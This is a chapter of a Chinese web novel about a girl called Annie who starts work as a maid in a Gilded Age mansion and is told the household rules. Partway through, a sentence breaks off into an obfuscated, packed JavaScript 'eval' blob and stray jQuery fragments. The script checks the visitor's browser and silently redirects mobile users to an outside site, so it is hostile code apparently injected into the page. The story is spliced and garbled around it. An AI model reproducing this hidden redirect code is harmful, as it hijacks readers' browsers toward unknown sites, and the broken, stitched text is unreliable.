那扇沉重的后门在身后关上,仿佛隔绝了两个世界。
码头区的喧嚣、海风的咸腥、以及那种赤裸裸为生存挣扎的紧迫感,瞬间被摒除在外。
取而代之的,是一种截然不同的压力,无形,却无处不在,像一件小了一码,过于紧身的胸衣,束缚着每一次呼吸。
聂安,现在是安妮,站在冰冷石板铺就的仆人通道里,手里还残留着擦拭银器后的轻微疲惫和酸涩感。通过最初的考验带来的短暂松懈,迅速被眼前这庞大宅邸本身的寂静和秩序带来的威慑感所取代。
女管家梅布尔太太用那双能刮掉人一层皮的眼睛最后扫了她一眼,声音平板无波:“你的东西就这些?”她瞥了眼安妮那个小得可怜的包袱。
“是,太太。”安妮回答,因为吃了点东西而有了力气。
“夫人和施耐德先生要见你。跟我来。”梅布尔转身,步伐精确而快速地走在前面。
她们穿过几条错综复杂的走廊,最终停在一扇栎木门前。梅布尔敲了敲门,里面传来一个低沉而威严的男声:“进来。”
房间是管家办公室。玛蒂尔达夫人已经端坐在一张扶手椅上,姿态挺拔。施耐德管家肃立一旁,穿着黑色常礼服,一丝不苟。
梅布尔太太微微躬身:“夫人,施耐德先生,安妮带来了。”
玛蒂尔达夫人再次从头到脚审视着安妮,最终定格在她的眼睛。
像是要看透她的灵魂。
“你暂时证明了自己不是完全无用。”夫人开口,声音里没有一丝温度,更像是在陈述一个客观事实,“但留在布鲁克家,靠的不是一点小聪明和蛮力。这里的每一件事,都有它的规矩。规矩,维系着这个家的体面和秩序。任何破坏规矩的行为,都是绝对不能被容忍的。施耐德。”
施耐德管家上前一步,他的声音不高,却带着一种不容置疑的穿透力,每一个字都像是刻在石板上:
“安妮,以下是你必须牢记并严格遵守的条例。我只说一次。”
“第一,关于你自己。每日清晨五点必须起床,整理好个人床铺,穿戴整齐。你的制服由公家提供,必须保持绝对洁净平整,头发不许有任何散乱。每周可沐浴一次,具体时间由梅布尔太太安排。”
“第二,关于工作。你的职责范围包括协助清洗器皿、擦拭楼梯铜条、保持指定区域的地板清洁、以及完成梅布尔太太或上级女仆指派的一切杂务。未经召唤,绝对禁止进入主人居住区的前厅、客厅、书房及卧室。
“第三,关于言行。禁止大声喧哗,禁止与任何男仆有不必要的交谈,禁止打听主人家的私事,禁止将府邸内任何消息带入外界。未经允许,不得擅自动用任何非你份内的物品,哪怕是一根针、一片面包。” 任何时候,在走廊遇见主人或访客,必须立刻背贴墙壁站立,低头垂目,等待对方通过。”
“第四,关于用餐。仆人有固定的用餐时间和地点。不允许将食物带离厨房和仆从大厅。不允许有任何浪费。”
“第五,关于外出。未经我和梅布尔太太明确许可,不得以任何理由离开宅邸范围。每月有半天休假,需提前申请并经批准。”
条款一条接一条,事无巨细,几乎涵盖了一个底层女仆生活的方方面面。施耐德管家的语速平稳,毫无起伏,却带着千斤重压。
玛蒂尔达夫人在施耐德停顿的间隙,冷冷地补充道:“布鲁克家的声誉,建立在每一个细节之上。你的任何一点疏忽和失仪,在外人看来,都是我们这个家庭的失礼和缺乏教养。记住,你代表的不仅仅是你自己。若因你的行为让我的家族蒙羞,后果将远不止是失去工作那么简单。明白吗?”
“是,夫人,我明白。我一定严格遵守。”安妮低着头,声音尽可能显得恭顺而坚定。
训话似乎告一段落。玛蒂尔达夫人拿起桌上的一份账册和银笔,目光扫过,忽然对旁边的妹妹开口,彷佛她刚刚出现,语气略带责备:“伊迪丝,别总盯着这些无关紧要的小事。”她或许是指伊迪丝小姐袖口上因核对慈善捐款时蹭上的墨渍?
安妮不知道她具体指什么,但也确实才注意到角落边的伊迪丝小姐。
伊迪丝从账册后抬起头,淡蓝色的眼眸睁大了一分,也好似才从自己的内心世界醒来。她声音柔软,向安妮递来笑容:“你手上的伤……要不要再包一下?我房里有药膏。”
说实话,自从进了布鲁克家,条件比船上好太多,虽然赶着粗活,但不用为了几口水,就去帮着底层船员干脏活,以至于给自己带来无数的磕碰刮伤。安妮手上的小伤口都快愈合了,那段船行记忆好像也彻底从脑子里抹去了,好多人好多事都记不得了,不怎么清晰。安妮略微感动,但仍旧低着头,“些微小事,不用麻烦小姐。”
“伊迪丝,”玛蒂尔达夫人放下银笔,茶勺碰在杯壁上发出清脆一响,带着不赞同,“主家哪有给女仆送药膏的道理。”她转而看向安妮,语气刻板地补充更具体的细节:“不过她既然要留下,这些‘细枝末节’得说清楚:主家主动送的东西才能接,没有说送的,不能自己拿,那就是偷窃……主家用餐时,你站在身后候着,添茶要从左边绕,壶嘴别对着人;擦银器时用软布,别再用你上午找的旧报纸,刮花了要赔……”
她似乎想到哪里说到哪,又似乎早就把这些规则条框默记心中。就等着这一天。聂安既震惊于她能说这么长一串,又心里觉得——好笑。没错,她差点笑出声,但硬是憋住了。
在她的知识库里,西方社会在工业革命前已经发展出了一套极为复杂的主仆制度。家庭的主人,一般不会直接越过管家,向底层仆从发号施令。更不会直接来到管家办公室,进行账目核对。现在看起来,在场的所有人,除了安妮以外,都没有表现出一点点不应该的想法。这足
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417885|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以说明,至少在这栋大宅,玛蒂尔达夫人越俎代庖的事情没少干!这或许是她的风格,也或许是美国人没有欧洲人那么“文明”的体现。又或许——第二次工业革命的到来,正在碎裂很多旧有的关系。
规矩——并非牢不可破的!安妮有点喜欢“镀金时代”了,就那么一点。
梅布尔太太在旁躬身,似乎为了提醒所有人她的存在,表演式地补充:“夫人的茶要温的,不能太烫,也不能凉;伊迪丝小姐的圣经放在床头,如果指派你收拾房间,可别碰,她记着页码呢;埃莉诺小姐的房间在二楼东头,她下午刚到,你别去打扰,等以后再打招呼。”
安妮把这些记在心里,像一个游戏玩家阅读新手指南那样——玛蒂尔达的茶温、伊迪丝的圣经、埃莉诺的房间位置,每一个细节或许都有“游戏”的通关密码。她正点头时,瞥见伊迪丝悄悄把账册上的一行涂抹了一笔。
“行了,施耐德带她去楼下看看,让她认认人。我在这里等你,等会儿跟你讨论埃莉诺的生活起居事宜。”玛蒂尔达重新拿起账册,笔尖落在“生活费”那页。
从办公室出来,施耐德的脚步慢了些。路过楼梯口时,他突然从口袋里掏出张纸条,是神父上午留下的教堂地址:“神父说,怕你找不到路,让我转交给你。”纸条边缘还沾着点教堂的熏香味。安妮攥紧了,想起上午神父离开时说“有困难就去教堂找我”,心里暖了暖。
厨房的热气扑面而来时,厨师汤姆正蹲在灶台旁熬汤,黄油混着洋葱的甜香飘满屋子。“这是安妮,以后跟着梅布尔干活。”施耐德介绍。
梅布尔太太立马严肃地走进了厨房,好像知道该自己出场了。但她只是轻微点头,没有说话。
汤姆抬头笑了笑,指了指旁边的木架:“小女孩,看清了!这是我的藏宝库,左边是面粉和糖,右边是土豆和洋葱,你记清楚,上面的是我们喝的茶叶,别跟玛蒂尔达夫人的茶叶混了——上次玛莎拿错,被骂了半钟头。”
安妮点头时,听见身后传来细碎的脚步声——是女仆露西,她端着脏碗路过,看见安妮,悄悄比了个“加油”的手势,嘴角还沾着点糖霜。
施耐德没注意,放低了声音说:“明天梅布尔会给你发制服,鞋可能大一点,垫块布就好。女仆房十点灭灯,别跟其他人起争执。”
交代完毕,施耐德便离开了。梅布尔太太随后将安妮带往顶楼的仆人卧室。
坐在坚硬的床铺上,安妮的手心里,一边紧紧攥着那张写着地址的纸条,另一边摸着粗糙的床布和硬邦邦的枕头。
小桌前有一杯牛奶和一片面包,是梅布尔太太留下的。
深宅的规矩,她已经听到了,甚至看到了更多细节。而如何在这些规矩的缝隙中活下去,甚至找到一条路,将是接下来每时每刻都需要应对的挑战。
夜色深沉,这座大宅仿佛一头沉睡的巨兽。